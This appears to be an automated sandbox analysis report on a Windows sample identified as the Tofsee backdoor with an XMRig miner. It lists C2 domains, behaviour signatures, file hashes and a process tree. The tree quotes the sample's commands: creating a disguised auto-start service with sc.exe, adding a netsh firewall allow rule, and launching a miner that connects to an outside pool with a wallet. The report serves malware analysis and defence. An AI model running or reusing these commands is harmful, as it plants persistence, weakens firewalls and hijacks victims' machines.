Analysis

  • max time kernel
    143s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2023, 02:58

General

  • Target
    file.exe
  • Size 195KB
  • Sample230123-df6gfsbf23
  • SHA256 3a2a6aecb0afe570b657255eb0d192d5ed3714c7156fc3ecb5e6f6589b2ca21c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\iiqzrxn\
      2⤵
        PID:708
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\oajxwsbg.exe" C:\Windows\SysWOW64\iiqzrxn\
        2⤵
          PID:4416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create iiqzrxn binPath= "C:\Windows\SysWOW64\iiqzrxn\oajxwsbg.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description iiqzrxn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start iiqzrxn
          2⤵
          • Launches sc.exe
          PID:4184
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3816
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4936 -s 808
          2⤵
          • Program crash
          PID:5016
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4936 -ip 4936
        1⤵
          PID:4260
        • C:\Windows\SysWOW64\iiqzrxn\oajxwsbg.exe
          C:\Windows\SysWOW64\iiqzrxn\oajxwsbg.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1212
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4152
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 512
            2⤵
            • Program crash
            PID:1832
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3480 -ip 3480
          1⤵
            PID:864

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                oajxwsbg.exe

                • Path C:\Users\Admin\AppData\Local\Temp\oajxwsbg.exe
                • Size 12.3MB
                • SHA256 980d253d4df65904a0fd0c7426f50a14e5056af0acdc67dcf1db6cc1d0885e7f
                • MD5 SHA1 SHA512 SSDEEP

                oajxwsbg.exe

                • Path C:\Windows\SysWOW64\iiqzrxn\oajxwsbg.exe
                • Size 12.3MB
                • SHA256 980d253d4df65904a0fd0c7426f50a14e5056af0acdc67dcf1db6cc1d0885e7f
                • MD5 SHA1 SHA512 SSDEEP

                memory/1212-157-0x00000000009F0000-0x00000000009F6000-memory.dmp

                memory/1212-169-0x00000000029D0000-0x00000000029D7000-memory.dmp

                memory/1212-166-0x0000000007340000-0x000000000774B000-memory.dmp

                memory/1212-163-0x0000000001BF0000-0x0000000001BF5000-memory.dmp

                memory/1212-160-0x0000000001B20000-0x0000000001B30000-memory.dmp

                memory/1212-154-0x0000000002400000-0x000000000260F000-memory.dmp

                memory/1212-153-0x0000000000590000-0x00000000005A5000-memory.dmp

                memory/1212-152-0x0000000000590000-0x00000000005A5000-memory.dmp

                memory/1212-147-0x0000000000590000-0x00000000005A5000-memory.dmp

                memory/3480-150-0x0000000002E95000-0x0000000002EA8000-memory.dmp

                memory/3480-151-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4152-178-0x00000000010A0000-0x0000000001191000-memory.dmp

                memory/4152-173-0x00000000010A0000-0x0000000001191000-memory.dmp

                memory/4936-144-0x0000000002CF0000-0x0000000002D03000-memory.dmp

                memory/4936-132-0x0000000002D2B000-0x0000000002D3E000-memory.dmp

                memory/4936-133-0x0000000002CF0000-0x0000000002D03000-memory.dmp

                memory/4936-143-0x0000000002D2B000-0x0000000002D3E000-memory.dmp

                memory/4936-145-0x0000000000400000-0x0000000002B9B000-memory.dmp

                memory/4936-136-0x0000000000400000-0x0000000002B9B000-memory.dmp